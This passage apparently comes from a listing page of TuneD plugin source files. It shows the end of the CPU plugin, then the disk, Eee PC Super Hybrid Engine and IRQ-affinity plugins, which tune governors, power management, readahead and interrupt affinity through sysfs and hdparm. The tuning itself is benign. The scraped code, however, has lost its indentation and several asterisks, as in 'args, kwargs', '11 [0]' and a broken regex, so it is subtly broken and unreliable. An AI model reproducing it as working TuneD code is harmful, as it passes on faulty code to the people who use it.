cpu '%s', it is not supported" % (governor, device)) else: log.warning("None of the scaling governors is supported: %s" % ", ".join(governors)) governor = None return governor @command_get("governor") def _get_governor(self, device, instance, ignore_missing=False): governor = None if not self._check_cpu_can_change_governor(device): return None data = self._cmd.read_file("/sys/devices/system/cpu/%s/cpufreq/scaling_governor" % device, no_error=ignore_missing).strip() if len(data) > 0: governor = data if governor is None: log.error("could not get current governor on cpu '%s'" % device) return governor def _sampling_down_factor_path(self, governor = "ondemand"): return "/sys/devices/system/cpu/cpufreq/%s/sampling_down_factor" % governor @command_set("sampling_down_factor", per_device = True, priority = 10) def _set_sampling_down_factor(self, sampling_down_factor, device, instance, sim, remove): val = None # hack to clear governors map when the profile starts unloading # TODO: this should be handled better way, by e.g. currently non-implemented # Plugin.profile_load_finished() method if device in self._governors_map: self._governors_map.clear() self._governors_map[device] = None governor = self._get_governor(device, instance) if governor is None: log.debug("ignoring sampling_down_factor setting for CPU '%s', cannot match governor" % device) return None if governor not in list(self._governors_map.values()): self._governors_map[device] = governor path = self._sampling_down_factor_path(governor) if not os.path.exists(path): log.debug("ignoring sampling_down_factor setting for CPU '%s', governor '%s' doesn't support it" % (device, governor)) return None val = str(sampling_down_factor) if not sim: log.info("setting sampling_down_factor to '%s' for governor '%s'" % (val, governor)) self._cmd.write_to_file(path, val, no_error = [errno.ENOENT] if remove else False) return val @command_get("sampling_down_factor") def _get_sampling_down_factor(self, device, instance, ignore_missing=False): governor = self._get_governor(device, instance, ignore_missing=ignore_missing) if governor is None: return None path = self._sampling_down_factor_path(governor) if not os.path.exists(path): return None return self._cmd.read_file(path).strip() def _try_set_energy_perf_bias(self, cpu_id, value): (retcode, out, err_msg) = self._cmd.execute( ["x86_energy_perf_policy", "-c", cpu_id, str(value) ], return_err = True) return (retcode, err_msg) def _pstate_boost_path(self, cpu_id): return "/sys/devices/system/cpu/cpufreq/policy%s/boost" % cpu_id def _pstate_preference_path(self, cpu_id, available = False): return "/sys/devices/system/cpu/cpufreq/policy%s/energy_performance_%s" % (cpu_id, "available_preferences" if available else "preference") def _energy_perf_bias_path(self, cpu_id): return "/sys/devices/system/cpu/cpu%s/power/energy_perf_bias" % cpu_id @command_set("energy_perf_bias", per_device=True) def _set_energy_perf_bias(self, energy_perf_bias, device, instance, sim, remove): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None cpu_id = device.lstrip("cpu") vals = energy_perf_bias.split('\|') # It should be writen straight to sysfs energy_perf_bias file if requested on newer processors # see rhbz#2095829 if self._has_hwp_epp: energy_perf_bias_path = self._energy_perf_bias_path(cpu_id) if os.path.exists(energy_perf_bias_path): if not sim: for val in vals: val = val.strip() if self._cmd.write_to_file(energy_perf_bias_path, val, \ no_error = [errno.ENOENT] if remove else False, ignore_same=True): log.info("energy_perf_bias successfully set to '%s' on cpu '%s'" % (val, device)) break else: log.error("Failed to set energy_perf_bias on cpu '%s'. Is the value in the profile correct?" % device) return str(energy_perf_bias) else: log.error("Failed to set energy_perf_bias on cpu '%s' because energy_perf_bias file does not exist." % device) return None elif self._has_energy_perf_policy_and_bias: if not sim: for val in vals: val = val.strip() log.debug("Trying to set energy_perf_bias to '%s' on cpu '%s'" % (val, device)) (retcode, err_msg) = self._try_set_energy_perf_bias( cpu_id, val) if retcode == 0: log.info("energy_perf_bias successfully set to '%s' on cpu '%s'" % (val, device)) break elif retcode < 0: log.error("Failed to set energy_perf_bias: %s" % err_msg) break else: log.debug("Could not set energy_perf_bias to '%s' on cpu '%s', trying another value" % (val, device)) else: log.error("Failed to set energy_perf_bias on cpu '%s'. Is the value in the profile correct?" % device) return str(energy_perf_bias) else: return None def _try_parse_num(self, s): try: v = int(s) except ValueError as e: try: v = int(s, 16) except ValueError as e: v = s return v # Before Linux 4.13 def _energy_perf_policy_to_human(self, s): return {0:"performance", 6:"normal", 15:"powersave"}.get(self._try_parse_num(s), s) # Since Linux 4.13 def _energy_perf_policy_to_human_v2(self, s): return {0:"performance", 4:"balance-performance", 6:"normal", 8:"balance-power", 15:"power", }.get(self._try_parse_num(s), s) @command_get("energy_perf_bias") def _get_energy_perf_bias(self, device, instance, ignore_missing=False): energy_perf_bias = None if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None cpu_id = device.lstrip("cpu") if self._has_hwp_epp: energy_perf_bias_path = self._energy_perf_bias_path(cpu_id) if os.path.exists(energy_perf_bias_path): energy_perf_bias = self._energy_perf_policy_to_human_v2(self._cmd.read_file(energy_perf_bias_path)) elif self._has_energy_perf_policy_and_bias: retcode, lines = self._cmd.execute(["x86_energy_perf_policy", "-c", cpu_id, "-r"]) if retcode == 0: for line in lines.splitlines(): l = line.split() if len(l) == 2: energy_perf_bias = self._energy_perf_policy_to_human(l[1]) break elif len(l) == 3: energy_perf_bias = self._energy_perf_policy_to_human_v2(l[2]) break return energy_perf_bias def _pm_qos_resume_latency_us_path(self, device): return "/sys/devices/system/cpu/%s/power/pm_qos_resume_latency_us" % device def _check_pm_qos_resume_latency_us(self, device): if self._has_pm_qos_resume_latency_us is None: self._has_pm_qos_resume_latency_us = os.path.exists(self._pm_qos_resume_latency_us_path(device)) if not self._has_pm_qos_resume_latency_us: log.info("Option 'pm_qos_resume_latency_us' is not supported on current hardware.") return self._has_pm_qos_resume_latency_us @command_set("pm_qos_resume_latency_us", per_device=True) def _set_pm_qos_resume_latency_us(self, pm_qos_resume_latency_us, device, instance, sim, remove): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None latency, skip = self._parse_latency(pm_qos_resume_latency_us, allow_na=True) if skip or not self._check_pm_qos_resume_latency_us(device): return None if latency is None or (latency != "n/a" and latency < 0): log.warning("Invalid pm_qos_resume_latency_us specified: '%s', cpu: '%s'." % (pm_qos_resume_latency_us, device)) return None if not sim: self._cmd.write_to_file(self._pm_qos_resume_latency_us_path(device), latency, \ no_error = [errno.ENOENT] if remove else False) return latency @command_get("pm_qos_resume_latency_us") def _get_pm_qos_resume_latency_us(self, device, instance, ignore_missing=False): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None if not self._check_pm_qos_resume_latency_us(device): return None return self._cmd.read_file(self._pm_qos_resume_latency_us_path(device), no_error=ignore_missing).strip() @command_set("boost", per_device=True) def _set_boost(self, boost, device, instance, sim, remove): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None cpu_id = device.lstrip("cpu") boost_set = False if os.path.exists(self._pstate_boost_path(cpu_id)): if not sim: if boost == "0" or boost == "1": self._cmd.write_to_file(self._pstate_boost_path(cpu_id), boost, \ no_error = [errno.ENOENT] if remove else False, ignore_same=True) log.info("Setting boost value '%s' for cpu '%s'" % (boost, device)) boost_set = True else: log.error("Failed to set boost on cpu '%s'. Is the value in the profile correct?" % device) else: log.debug("boost file missing, which can happen on pre 6.11 kernels.") # For Intel systems with intel_pstate driver, handle no_turbo # This ensures boost=0 works properly on Intel CPUs if self._has_intel_pstate and boost in ["0", "1"]: no_turbo_val = "1" if boost == "0" else "0" if not sim: try: self._set_intel_pstate_attr("no_turbo", no_turbo_val) log.info("Setting no_turbo to '%s' for intel_pstate driver (boost=%s)" % (no_turbo_val, boost)) boost_set = True except Exception as e: log.warning("Failed to set no_turbo for intel_pstate: %s" % str(e)) if boost_set or sim: return str(boost) elif boost in ["0", "1"]: log.warning("Unable to set boost on cpu '%s'. Neither per-policy boost nor intel_pstate no_turbo is available." % device) return None @command_get("boost") def _get_boost(self, device, instance, ignore_missing=False): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None cpu_id = device.lstrip("cpu") if os.path.exists(self._pstate_boost_path(cpu_id)): return self._cmd.read_file(self._pstate_boost_path(cpu_id)).strip() else: log.debug("boost file missing, which can happen on pre 6.11 kernels.") return None @command_set("energy_performance_preference", per_device=True) def _set_energy_performance_preference(self, energy_performance_preference, device, instance, sim, remove): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None cpu_id = device.lstrip("cpu") if os.path.exists(self._pstate_preference_path(cpu_id, True)): vals = energy_performance_preference.split('\|') if not sim: avail_vals = set(self._cmd.read_file(self._pstate_preference_path(cpu_id, True)).split()) for val in vals: try: val = int(val) valid = 0 <= val < 256 val = str(val) except ValueError: valid = val in avail_vals if valid: self._cmd.write_to_file(self._pstate_preference_path(cpu_id), val, \ no_error = [errno.ENOENT] if remove else False, ignore_same=True) log.info("Setting energy_performance_preference value '%s' for cpu '%s'" % (val, device)) break else: log.warning("energy_performance_preference value '%s' unavailable for cpu '%s'" % (val, device)) else: log.error("Failed to set energy_performance_preference on cpu '%s'. Is the value in the profile correct?" % device) return str(energy_performance_preference) else: log.debug("energy_performance_available_preferences file missing, which can happen if the system is booted without a P-state driver.") return None @command_get("energy_performance_preference") def _get_energy_performance_preference(self, device, instance, ignore_missing=False): if not self._is_cpu_online(device): log.debug("%s is not online, skipping" % device) return None cpu_id = device.lstrip("cpu") # read the EPP hint used by the intel_pstate and amd-pstate CPU scaling drivers if os.path.exists(self._pstate_preference_path(cpu_id, True)): return self._cmd.read_file(self._pstate_preference_path(cpu_id)).strip() else: log.debug("energy_performance_available_preferences file missing, which can happen if the system is booted without a P-state driver.") return None	30.58 KB	2025-08-24 21:48
📄 plugin_disk.py import errno from . import hotplug from .decorators import * import tuned.logs import tuned.consts as consts from tuned.utils.commands import commands import os import re log = tuned.logs.get() class DiskPlugin(hotplug.Plugin): """ Plug-in for tuning various block device options. This plug-in can also dynamically change the advanced power management and spindown timeout setting for a drive according to the current drive utilization. The dynamic tuning is controlled by the [option]`dynamic` and the global [option]`dynamic_tuning` option in `tuned-main.conf`. The disk plug-in operates on all supported block devices unless a comma separated list of [option]`devices` is passed to it. .Operate only on the `sda` block device ==== ---- [disk] devices=sda ---- ==== The [option]`elevator` option sets the Linux I/O scheduler. .Use the bfq I/O scheduler on the `xvda` block device ==== ---- [disk] device=xvda elevator=bfq ---- ==== The [option]`scheduler_quantum` option only applies to the CFQ I/O scheduler. It defines the number of I/O requests that CFQ sends to one device at one time, essentially limiting queue depth. The default value is 8 requests. The device being used may support greater queue depth, but increasing the value of quantum will also increase latency, especially for large sequential write work loads. The [option]`apm` option sets the Advanced Power Management feature on drives that support it. It corresponds to using the `-B` option of the `hdparm` utility. The [option]`spindown` option puts the drive into idle (low-power) mode, and also sets the standby (spindown) timeout for the drive. It corresponds to using `-S` option of the `hdparm` utility. .Use a medium-agressive power management with spindown ==== ---- [disk] apm=128 spindown=6 ---- ==== The [option]`readahead` option controls how much extra data the operating system reads from disk when performing sequential I/O operations. Increasing the `readahead` value might improve performance in application environments where sequential reading of large files takes place. The default unit for readahead is KiB. This can be adjusted to sectors by specifying the suffix 's'. If the suffix is specified, there must be at least one space between the number and suffix (for example, `readahead=8192 s`). .Set the `readahead` to 4MB unless already set to a higher value ==== ---- [disk] readahead=>4096 ---- ==== The disk readahead value can be multiplied by the constant specified by the [option]`readahead_multiply` option. """ def __init__(self, args, kwargs): super(DiskPlugin, self).__init__(args, *kwargs) self._power_levels = [254, 225, 195, 165, 145, 125, 105, 85, 70, 55, 30, 20] self._spindown_levels = [0, 250, 230, 210, 190, 170, 150, 130, 110, 90, 70, 60] self._levels = len(self._power_levels) self._level_steps = 6 self._load_smallest = 0.01 self._cmd = commands() def _init_devices(self): super(DiskPlugin, self)._init_devices() self._devices_supported = True self._use_hdparm = True self._free_devices = set() self._hdparm_apm_device_support = dict() for device in self._hardware_inventory.get_devices("block"): if self._device_is_supported(device): self._free_devices.add(device.sys_name) self._assigned_devices = set() def _get_device_objects(self, devices): return [self._hardware_inventory.get_device("block", x) for x in devices] def _is_hdparm_apm_supported(self, device): if not self._use_hdparm: return False if device in self._hdparm_apm_device_support: return self._hdparm_apm_device_support[device] (rc, out, err_msg) = self._cmd.execute(["hdparm", "-C", "/dev/%s" % device], \ no_errors = [errno.ENOENT], return_err=True) if rc == -errno.ENOENT: log.warning("hdparm command not found, ignoring for other devices") self._use_hdparm = False return False elif rc: log.info("Device '%s' not supported by hdparm" % device) log.debug("(rc: %s, msg: '%s')" % (rc, err_msg)) self._hdparm_apm_device_support[device] = False return False elif "unknown" in out: log.info("Driver for device '%s' does not support apm command" % device) self._hdparm_apm_device_support[device] = False return False self._hdparm_apm_device_support[device] = True return True @classmethod def _device_is_supported(cls, device): return device.device_type == "disk" and \ device.attributes.get("removable", None) == b"0" and \ (device.parent is None or \ device.parent.subsystem in ["scsi", "virtio", "xen", "nvme", "mmc"]) def _hardware_events_init(self): self._hardware_inventory.subscribe(self, "block", self._hardware_events_callback) def _hardware_events_cleanup(self): self._hardware_inventory.unsubscribe(self) def _hardware_events_callback(self, event, device): if self._device_is_supported(device) or event == "remove": super(DiskPlugin, self)._hardware_events_callback(event, device) def _added_device_apply_tuning(self, instance, device_name): if instance._load_monitor is not None: instance._load_monitor.add_device(device_name) super(DiskPlugin, self)._added_device_apply_tuning(instance, device_name) def _removed_device_unapply_tuning(self, instance, device_name): if instance._load_monitor is not None: instance._load_monitor.remove_device(device_name) super(DiskPlugin, self)._removed_device_unapply_tuning(instance, device_name) @classmethod def _get_config_options(cls): return { "dynamic" : True, # FIXME: do we want this default? "elevator" : None, "apm" : None, "spindown" : None, "readahead" : None, "readahead_multiply" : None, "scheduler_quantum" : None, } @classmethod def _get_config_options_used_by_dynamic(cls): return [ "apm", "spindown", ] def _instance_init(self, instance): instance._has_static_tuning = True self._apm_errcnt = 0 self._spindown_errcnt = 0 instance._load_monitor = None instance._has_dynamic_tuning = self._option_bool(instance.options["dynamic"]) def _instance_cleanup(self, instance): if instance._load_monitor is not None: self._monitors_repository.delete(instance._load_monitor) instance._load_monitor = None def _instance_init_dynamic(self, instance): super(DiskPlugin, self)._instance_init_dynamic(instance) instance._device_idle = {} instance._stats = {} instance._idle = {} instance._spindown_change_delayed = {} instance._load_monitor = self._monitors_repository.create( "disk", instance.assigned_devices) def _update_errcnt(self, rc, spindown): if spindown: s = "spindown" cnt = self._spindown_errcnt else: s = "apm" cnt = self._apm_errcnt if cnt >= consts.ERROR_THRESHOLD: return if rc == 0: cnt = 0 elif rc == -errno.ENOENT: self._spindown_errcnt = self._apm_errcnt = consts.ERROR_THRESHOLD + 1 log.warning("hdparm command not found, ignoring future set_apm / set_spindown commands") return else: cnt += 1 if cnt == consts.ERROR_THRESHOLD: log.info("disabling set_%s command: too many consecutive errors" % s) if spindown: self._spindown_errcnt = cnt else: self._apm_errcnt = cnt def _change_spindown(self, instance, device, new_spindown_level): log.debug("changing spindown to %d" % new_spindown_level) (rc, out) = self._cmd.execute(["hdparm", "-S%d" % new_spindown_level, "/dev/%s" % device], no_errors = [errno.ENOENT]) self._update_errcnt(rc, True) instance._spindown_change_delayed[device] = False def _drive_spinning(self, device): (rc, out) = self._cmd.execute(["hdparm", "-C", "/dev/%s" % device], no_errors = [errno.ENOENT]) return not "standby" in out and not "sleeping" in out def _instance_update_dynamic(self, instance, device): if not self._is_hdparm_apm_supported(device): return load = instance._load_monitor.get_device_load(device) if load is None: return if not device in instance._stats: self._init_stats_and_idle(instance, device) self._update_stats(instance, device, load) self._update_idle(instance, device) stats = instance._stats[device] idle = instance._idle[device] # level change decision if idle["level"] + 1 < self._levels and idle["read"] >= self._level_steps and idle["write"] >= self._level_steps: level_change = 1 elif idle["level"] > 0 and (idle["read"] == 0 or idle["write"] == 0): level_change = -1 else: level_change = 0 # change level if decided if level_change != 0: idle["level"] += level_change new_power_level = self._power_levels[idle["level"]] new_spindown_level = self._spindown_levels[idle["level"]] log.debug("tuning level changed to %d" % idle["level"]) if self._spindown_errcnt < consts.ERROR_THRESHOLD: if not self._drive_spinning(device) and level_change > 0: log.debug("delaying spindown change to %d, drive has already spun down" % new_spindown_level) instance._spindown_change_delayed[device] = True else: self._change_spindown(instance, device, new_spindown_level) if self._apm_errcnt < consts.ERROR_THRESHOLD: log.debug("changing APM_level to %d" % new_power_level) (rc, out) = self._cmd.execute(["hdparm", "-B%d" % new_power_level, "/dev/%s" % device], no_errors = [errno.ENOENT]) self._update_errcnt(rc, False) elif instance._spindown_change_delayed[device] and self._drive_spinning(device): new_spindown_level = self._spindown_levels[idle["level"]] self._change_spindown(instance, device, new_spindown_level) log.debug("%s load: read %0.2f, write %0.2f" % (device, stats["read"], stats["write"])) log.debug("%s idle: read %d, write %d, level %d" % (device, idle["read"], idle["write"], idle["level"])) def _init_stats_and_idle(self, instance, device): instance._stats[device] = { "new": 11 [0], "old": 11 * [0], "max": 11 * [1] } instance._idle[device] = { "level": 0, "read": 0, "write": 0 } instance._spindown_change_delayed[device] = False def _update_stats(self, instance, device, new_load): instance._stats[device]["old"] = old_load = instance._stats[device]["new"] instance._stats[device]["new"] = new_load # load difference diff = [new_old[0] - new_old[1] for new_old in zip(new_load, old_load)] instance._stats[device]["diff"] = diff # adapt maximum expected load if the difference is higher old_max_load = instance._stats[device]["max"] max_load = [max(pair) for pair in zip(old_max_load, diff)] instance._stats[device]["max"] = max_load # read/write ratio instance._stats[device]["read"] = float(diff[1]) / float(max_load[1]) instance._stats[device]["write"] = float(diff[5]) / float(max_load[5]) def _update_idle(self, instance, device): # increase counter if there is no load, otherwise reset the counter for operation in ["read", "write"]: if instance._stats[device][operation] < self._load_smallest: instance._idle[device][operation] += 1 else: instance._idle[device][operation] = 0 def _instance_apply_dynamic(self, instance, device): # At the moment we support dynamic tuning just for devices compatible with hdparm apm commands # If in future will be added new functionality not connected to this command, # it is needed to change it here if not self._is_hdparm_apm_supported(device): log.info("There is no dynamic tuning available for device '%s' at time" % device) else: super(DiskPlugin, self)._instance_apply_dynamic(instance, device) def _instance_unapply_dynamic(self, instance, device): pass def _sysfs_path(self, device, suffix, prefix = "/sys/block/"): if "/" in device: dev = os.path.join(prefix, device.replace("/", "!"), suffix) if os.path.exists(dev): return dev return os.path.join(prefix, device, suffix) def _elevator_file(self, device): return self._sysfs_path(device, "queue/scheduler") @command_set("elevator", per_device=True) def _set_elevator(self, value, device, instance, sim, remove): sys_file = self._elevator_file(device) if not sim: self._cmd.write_to_file(sys_file, value, \ no_error = [errno.ENOENT] if remove else False) return value @command_get("elevator") def _get_elevator(self, device, instance, ignore_missing=False): sys_file = self._elevator_file(device) # example of scheduler file content: # noop deadline [cfq] return self._cmd.get_active_option(self._cmd.read_file(sys_file, no_error=ignore_missing)) @command_set("apm", per_device=True) def _set_apm(self, value, device, instance, sim, remove): if not self._is_hdparm_apm_supported(device): if not sim: log.info("apm option is not supported for device '%s'" % device) return None else: return str(value) if self._apm_errcnt < consts.ERROR_THRESHOLD: if not sim: (rc, out) = self._cmd.execute(["hdparm", "-B", str(value), "/dev/" + device], no_errors = [errno.ENOENT]) self._update_errcnt(rc, False) return str(value) else: return None @command_get("apm") def _get_apm(self, device, instance, ignore_missing=False): if not self._is_hdparm_apm_supported(device): if not ignore_missing: log.info("apm option is not supported for device '%s'" % device) return None value = None err = False (rc, out) = self._cmd.execute(["hdparm", "-B", "/dev/" + device], no_errors = [errno.ENOENT]) if rc == -errno.ENOENT: return None elif rc != 0: err = True else: m = re.match(r".=\s(\d+).", out, re.S) if m: try: value = int(m.group(1)) except ValueError: err = True if err: log.error("could not get current APM settings for device '%s'" % device) return value @command_set("spindown", per_device=True) def _set_spindown(self, value, device, instance, sim, remove): if not self._is_hdparm_apm_supported(device): if not sim: log.info("spindown option is not supported for device '%s'" % device) return None else: return str(value) if self._spindown_errcnt < consts.ERROR_THRESHOLD: if not sim: (rc, out) = self._cmd.execute(["hdparm", "-S", str(value), "/dev/" + device], no_errors = [errno.ENOENT]) self._update_errcnt(rc, True) return str(value) else: return None @command_get("spindown") def _get_spindown(self, device, instance, ignore_missing=False): if not self._is_hdparm_apm_supported(device): if not ignore_missing: log.info("spindown option is not supported for device '%s'" % device) return None # There's no way how to get current/old spindown value, hardcoding vendor specific 253 return 253 def _readahead_file(self, device): return self._sysfs_path(device, "queue/read_ahead_kb") def _parse_ra(self, value): val = str(value).split(None, 1) try: v = int(val[0]) except ValueError: return None if len(val) > 1 and val[1][0] == "s": # v = 512 / 1024 v /= 2 return v @command_set("readahead", per_device=True) def _set_readahead(self, value, device, instance, sim, remove): sys_file = self._readahead_file(device) val = self._parse_ra(value) if val is None: log.error("Invalid readahead value '%s' for device '%s'" % (value, device)) else: if not sim: self._cmd.write_to_file(sys_file, "%d" % val, \ no_error = [errno.ENOENT] if remove else False) return val @command_get("readahead") def _get_readahead(self, device, instance, ignore_missing=False): sys_file = self._readahead_file(device) value = self._cmd.read_file(sys_file, no_error=ignore_missing).strip() if len(value) == 0: return None return int(value) @command_custom("readahead_multiply", per_device=True) def _multiply_readahead(self, enabling, multiplier, device, verify, ignore_missing, instance): if verify: return None storage_key = self._storage_key( command_name = "readahead_multiply", device_name = device) if enabling: old_readahead = self._get_readahead(device, instance) if old_readahead is None: return new_readahead = int(float(multiplier) * old_readahead) self._storage.set(storage_key, old_readahead) self._set_readahead(new_readahead, device, instance, False, False) else: old_readahead = self._storage.get(storage_key) if old_readahead is None: return self._set_readahead(old_readahead, device, instance, False, False) self._storage.unset(storage_key) def _scheduler_quantum_file(self, device): return self._sysfs_path(device, "queue/iosched/quantum") @command_set("scheduler_quantum", per_device=True) def _set_scheduler_quantum(self, value, device, instance, sim, remove): sys_file = self._scheduler_quantum_file(device) if not sim: self._cmd.write_to_file(sys_file, "%d" % int(value), \ no_error = [errno.ENOENT] if remove else False) return value @command_get("scheduler_quantum") def _get_scheduler_quantum(self, device, instance, ignore_missing=False): sys_file = self._scheduler_quantum_file(device) value = self._cmd.read_file(sys_file, no_error=ignore_missing).strip() if len(value) == 0: if not ignore_missing: log.info("disk_scheduler_quantum option is not supported for device '%s'" % device) return None return int(value)	16.77 KB	2025-08-24 21:48
📄 plugin_eeepc_she.py from . import base from . import exceptions import tuned.logs from tuned.utils.commands import commands import os log = tuned.logs.get() class EeePCSHEPlugin(base.Plugin): """ Dynamically sets the front-side bus (FSB) speed according to the CPU load. This feature can be found on some netbooks and is also known as the Asus Super Hybrid Engine. If the CPU load is lower or equal to the value specified by the [option]`load_threshold_powersave` option, the plug-in sets the FSB speed to the value specified by the [option]`she_powersave` option. If the CPU load is higher or equal to the value specified by the [option]`load_threshold_normal` option, it sets the FSB speed to the value specified by the [option]`she_normal` option. Static tuning is not supported and the plug-in is transparently disabled if the hardware support for this feature is not detected. NOTE: For details about the FSB frequencies and corresponding values, see link:https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-platform-eeepc-laptop[the kernel documentation]. The provided defaults should work for most users. """ def __init__(self, args, kwargs): self._cmd = commands() self._control_file = "/sys/devices/platform/eeepc/cpufv" if not os.path.isfile(self._control_file): self._control_file = "/sys/devices/platform/eeepc-wmi/cpufv" if not os.path.isfile(self._control_file): raise exceptions.NotSupportedPluginException("Plugin is not supported on your hardware.") super(EeePCSHEPlugin, self).__init__(args, **kwargs) @classmethod def _get_config_options(self): return { "load_threshold_normal" : 0.6, "load_threshold_powersave" : 0.4, "she_powersave" : 2, "she_normal" : 1, } def _instance_init(self, instance): instance._has_static_tuning = False instance._has_dynamic_tuning = True instance._she_mode = None instance._load_monitor = None def _instance_cleanup(self, instance): if instance._load_monitor is not None: self._monitors_repository.delete(instance._load_monitor) instance._load_monitor = None def _instance_init_dynamic(self, instance): super(EeePCSHEPlugin, self)._instance_init_dynamic(instance) instance._load_monitor = self._monitors_repository.create("load", None) def _instance_update_dynamic(self, instance, device): load = instance._load_monitor.get_load()["system"] if load <= instance.options["load_threshold_powersave"]: self._set_she_mode(instance, "powersave") elif load >= instance.options["load_threshold_normal"]: self._set_she_mode(instance, "normal") def _instance_unapply_dynamic(self, instance, device): # FIXME: restore previous value self._set_she_mode(instance, "normal") def _set_she_mode(self, instance, new_mode): new_mode_numeric = int(instance.options["she_%s" % new_mode]) if instance._she_mode != new_mode_numeric: log.info("new eeepc_she mode %s (%d) " % (new_mode, new_mode_numeric)) self._cmd.write_to_file(self._control_file, "%s" % new_mode_numeric) self._she_mode = new_mode_numeric	3 KB	2025-08-24 21:48
📄 plugin_irq.py from . import hotplug from .decorators import * import tuned.consts as consts import tuned.logs import errno import os log = tuned.logs.get() # the plugin manages each IRQ as a "device" and keeps a IrqInfo object for it class IrqInfo(object): def __init__(self, irq): self.irq = irq self.device = "irq%s" % irq self.unchangeable = False self.original_affinity = None class IrqPlugin(hotplug.Plugin): r""" Allows tuning of IRQ affinities, and thus re-implements functionality already present in the `scheduler` plugin. However, this plugin offers more flexibility, as it allows tuning of individual interrupts with different affinities. When using the `irq` plugin, make sure to disable IRQ processing in the `scheduler` plugin by setting its option [option]`irq_process=false`. The plugin handles individual IRQs as devices and multiple plugin instances can be defined, each addressing different devices/irqs. The device names used by the plugin are `irq<n>`, where `<n>` is the IRQ number. The special device `DEFAULT` controls values written to `/proc/irq/default_smp_affinity`, which applies to all non-active IRQs. The option [option]`affinity` controls the IRQ affinity to be set. It is a string in "cpulist" format (such as `1,3-4`). If the configured affinity is empty, then the affinity of the respective IRQs is not touched. The option [option]`mode` is a string which can either be `set` (default) or `intersect`. In `set` mode the [option]`affinity` is always written as configured, whereas in `intersect` mode, the new affinity will be calculated as the intersection of the current and the configured affinity. If that intersection is empty, the configured affinity will be used. .Moving all IRQs to CPU0, except irq16, which is directed to CPU2 ==== ---- [irq_special] type=irq devices=irq16 affinity=2 [irq] affinity=0 ---- ==== """ def __init__(self, monitor_repository, storage_factory, hardware_inventory, device_matcher, device_matcher_udev, plugin_instance_factory, global_cfg, variables): super(IrqPlugin, self).__init__(monitor_repository, storage_factory, hardware_inventory, device_matcher, device_matcher_udev, plugin_instance_factory, global_cfg, variables) self._irqs = {} # # plugin-level methods: devices and plugin options # def _init_devices(self): """Read /proc/irq to collect devices """ self._devices_supported = True self._free_devices = set() self._assigned_devices = set() for i in os.listdir("/proc/irq"): p = os.path.join("/proc/irq", i) if os.path.isdir(p) and i.isdigit(): info = IrqInfo(i) self._irqs[i] = info self._free_devices.add(info.device) # add the virtual device for default_smp_affinity default_info = IrqInfo("DEFAULT") default_info.device = "DEFAULT" self._irqs["DEFAULT"] = default_info self._free_devices.add(default_info.device) @classmethod def _get_config_options(cls): return { "affinity": "", "mode": "set", } # # instance-level methods: implement the Instance interface # def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False affinity = self._variables.expand(instance.options.get("affinity")) affinity_list = self._cmd.cpulist_unpack(affinity) if len(affinity.strip()) == 0: # empty affinity in profile -> assume it's intentional log.info("Instance '%s' configured with empty affinity. Deactivating." % instance.name) instance._active = False elif len(affinity_list) == 0: # non-empty affinity string evaluates to empty list -> assume parse error log.error("Instance '%s' with invalid affinity '%s'. Deactivating." % (instance.name, affinity)) instance._active = False mode = self._variables.expand(instance.options.get("mode")) if mode not in ["set", "intersect"]: log.error("Invalid operating mode '%s' for instance '%s'. Using the default 'set' instead." % (mode, instance.name)) instance.options["mode"] = "set" def _instance_cleanup(self, instance): pass def _instance_apply_static(self, instance): log.debug("Applying IRQ affinities (%s)" % instance.name) super(IrqPlugin, self)._instance_apply_static(instance) def _instance_unapply_static(self, instance, rollback): log.debug("Unapplying IRQ affinities (%s)" % instance.name) super(IrqPlugin, self)._instance_unapply_static(instance, rollback) def _instance_verify_static(self, instance, ignore_missing, devices): log.debug("Verifying IRQ affinities (%s)" % instance.name) return super(IrqPlugin, self)._instance_verify_static(instance, ignore_missing, devices) # # "low-level" methods to get/set irq affinities # def _get_irq_affinity(self, irq): """Get current IRQ affinity from the kernel Args: irq (str): IRQ number (as string) or "DEFAULT" Returns: affinity (set): set of all CPUs that belong to the IRQ affinity mask, if reading of the affinity fails, an empty set is returned """ try: filename = "/proc/irq/default_smp_affinity" if irq == "DEFAULT" else "/proc/irq/%s/smp_affinity" % irq with open(filename, "r") as f: affinity_hex = f.readline().strip() return set(self._cmd.hex2cpulist(affinity_hex)) except (OSError, IOError) as e: log.debug("Failed to read SMP affinity of IRQ %s: %s" % (irq, e)) return set() def _set_irq_affinity(self, irq, affinity, restoring): """Set IRQ affinity in the kernel Args: irq (str): IRQ number (as string) or "DEFAULT" affinity (set): affinity mask as set of CPUs restoring (bool): are we rolling back a previous change? Returns: status (int): 0 on success, -2 if changing the affinity is not supported, -1 if some other error occurs """ try: affinity_hex = self._cmd.cpulist2hex(list(affinity)) log.debug("Setting SMP affinity of IRQ %s to '%s'" % (irq, affinity_hex)) filename = "/proc/irq/default_smp_affinity" if irq == "DEFAULT" else "/proc/irq/%s/smp_affinity" % irq with open(filename, "w") as f: f.write(affinity_hex) return 0 except (OSError, IOError) as e: # EIO is returned by # kernel/irq/proc.c:write_irq_affinity() if changing # the affinity is not supported # (at least on kernels 3.10 and 4.18) if hasattr(e, "errno") and e.errno == errno.EIO and not restoring: log.debug("Setting SMP affinity of IRQ %s is not supported" % irq) return -2 else: log.error("Failed to set SMP affinity of IRQ %s to '%s': %s" % (irq, affinity_hex, e)) return -1 # # "high-level" methods: apply tuning while saving original affinities # def _apply_irq_affinity(self, irqinfo, affinity, mode): """Apply IRQ affinity tuning Args: irqinfo (IrqInfo): IRQ that should be tuned affinity (set): desired affinity """ original = self._get_irq_affinity(irqinfo.irq) if mode == "intersect": # intersection of affinity and original, if that is empty fall back to configured affinity affinity = affinity & original or affinity if irqinfo.unchangeable or affinity == original: return res = self._set_irq_affinity(irqinfo.irq, affinity, False) if res == 0: if irqinfo.original_affinity is None: irqinfo.original_affinity = original elif res == -2: irqinfo.unchangeable = True def _restore_irq_affinity(self, irqinfo): """Restore IRQ affinity Args: irqinfo (IrqInfo): IRQ that should be restored """ if irqinfo.unchangeable or irqinfo.original_affinity is None: return self._set_irq_affinity(irqinfo.irq, irqinfo.original_affinity, True) irqinfo.original_affinity = None def 